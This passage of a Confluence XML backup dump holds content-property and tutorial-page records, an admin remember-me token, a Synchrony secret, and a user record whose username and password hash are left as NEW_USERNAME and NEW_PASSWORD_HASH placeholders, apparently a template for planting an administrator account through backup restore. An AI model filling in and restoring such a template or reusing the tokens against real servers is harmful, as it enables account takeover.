||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262203</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262202</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262201</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262200</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">8</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262199</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262198</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">21488</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262197</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262196</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262195</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[32b657a6-50f7-4a6a-aaea-102ce537c268]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262194</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c9c2e2a4-8ebc-476f-aff1-014fe92e22ec]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262193</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[d065f4f3-da57-4410-aa7b-7ff93e59a719]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262192</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[498beede-3b1d-477a-8d5a-3dea256d4fa2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262191</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8c741dfa-dc55-4d7e-ac8c-d3aba5a29f2a]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262190</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[9092f143-f878-4fd8-9300-7bcecd02dd02]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262189</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[576b0d46-e5b1-4ee9-9b58-c688fc240c65]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262188</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c5547696-df60-4a59-96b4-355de741a34a]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262187</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[25c3f4c7-6755-4974-aa96-0cad5b648190]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262186</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[323e5bdf-f804-4867-920e-b006c9f2aa23]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262185</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"><![CDATA[widget]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262184</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[30ea9299-b7f7-48f4-b0b2-00d4d0b720d8]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262183</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262182</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262181</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[79351706-62d9-47b2-902e-d7f635e020b1]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262180</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8c60c7b5-70b7-4d89-988a-b47459b91c6d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262179</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[ad00c983-c9e3-46ab-90a4-42d016a162e5]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262178</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[aa14dd02-a368-4c44-b5a5-b997c6d519c5]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262177</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[2c73ae66-3422-43d3-8867-b99be3fd153d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262176</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[b19a726e-f021-4386-a33a-cc4134368b29]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262175</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[be8deba8-e975-4ea2-9817-94db937c8a42]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262174</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[3c2f37c4-e102-4d53-be59-7e0ebbc80d37]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262173</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[bdb695aa-ffc0-4544-b601-08618dfe3f43]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262172</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[0e76d5df-8079-47bd-afe7-a90d92922657]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262171</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[f8ae6dc9-0915-416e-bd0c-2c2aed6f19c6]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262170</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[b41a9868-a5c0-4bd1-84c6-93910fcd12f6]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262169</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[20018262-63f0-4469-89b6-d52cce7086b2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262168</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[1c198386-7ec9-48dd-a514-bbba0c4835e4]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262167</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262166</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">8</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262165</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262164</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">4</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262163</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262162</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">12</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262161</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262160</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262159</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[97a52591-901b-4e26-b38c-23180d68189c]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262158</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262157</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[566640c6-aa91-41f4-ba6b-7d02dc9ef2e4]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262156</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262155</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">3</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262154</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">5</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262153</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">6</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262152</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262151</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">7</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262150</id>
|
||||
<property name="name"><![CDATA[macro-count.widget]]></property>
|
||||
<property name="stringValue"><![CDATA[9-2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262149</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">14</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262148</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c6887e71-b34a-4cf8-b4d4-36b53ff35592]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262147</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[881dbc25-a20d-4773-b5a8-2a402abcfd9d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262146</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[34cd463c-b2be-49e6-9006-62679d6a59f1]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262145</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8b24739b-eaaa-404e-8897-e347c68f3974]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="Secrets" package="com.atlassian.synchrony">
|
||||
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad-debug]]></id>
|
||||
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceRememberMeToken" package="com.atlassian.confluence.user.persistence.dao">
|
||||
<id name="id">622593</id>
|
||||
<property name="username"><![CDATA[admin]]></property>
|
||||
<property name="createdTime">1699509859137</property>
|
||||
<property name="token"><![CDATA[d24ab7e045f654b651978d7fb48f0ce945461128]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557060</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[lastAuthenticated]]></property>
|
||||
<property name="value"><![CDATA[1699509892791]]></property>
|
||||
<property name="lowerValue"><![CDATA[1699509892791]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557059</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[passwordLastChanged]]></property>
|
||||
<property name="value"><![CDATA[1699509858738]]></property>
|
||||
<property name="lowerValue"><![CDATA[1699509858738]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557058</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[invalidPasswordAttempts]]></property>
|
||||
<property name="value"><![CDATA[0]]></property>
|
||||
<property name="lowerValue"><![CDATA[0]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557057</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[requiresPasswordChange]]></property>
|
||||
<property name="value"><![CDATA[false]]></property>
|
||||
<property name="lowerValue"><![CDATA[false]]></property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98306</id>
|
||||
<property name="hibernateVersion">37</property>
|
||||
<property name="title"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163845</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196614</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196617</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196619</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196620</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262151</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262165</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.780</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98343</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">8</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98305</id>
|
||||
<property name="hibernateVersion">24</property>
|
||||
<property name="title"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163847</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196615</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196618</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196622</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196623</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196626</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262161</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262164</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.784</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98344</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">7</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98310</id>
|
||||
<property name="hibernateVersion">11</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262180</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.788</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98309</id>
|
||||
<property name="hibernateVersion">11</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262186</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.792</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98308</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262174</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.804</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98307</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262176</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.879</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="InternalUser" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">491521</id>
|
||||
<property name="name"><![CDATA[NEW_USERNAME]]></property>
|
||||
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.716</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.716</property>
|
||||
<property name="firstName"><![CDATA[]]></property>
|
||||
<property name="lowerFirstName"><![CDATA[]]></property>
|
||||
<property name="lastName"><![CDATA[admin]]></property>
|
||||
<property name="lowerLastName"><![CDATA[admin]]></property>
|
||||
<property name="displayName"><![CDATA[admin]]></property>
|
||||
<property name="lowerDisplayName"><![CDATA[admin]]></property>
|
||||
<property name="emailAddress"><![CDATA[admin@test.com]]></property>
|
||||
<property name="lowerEmailAddress"><![CDATA[admin@test.com]]></property>
|
||||
<property name="externalId"><![CDATA[d1c26bc5-04d3-4c31-b230-c9454e51186d]]></property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<component name="credential"><property name="credential" type="string"><![CDATA[NEW_PASSWORD_HASH]]></property>
|
||||
</component>
|
||||
<collection name="credentialRecords" class="java.util.List"><element class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user"><id name="id">524289</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="attributes" class="java.util.Set"><element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557058</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557060</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557057</id>
|
||||
</element>
|
||||
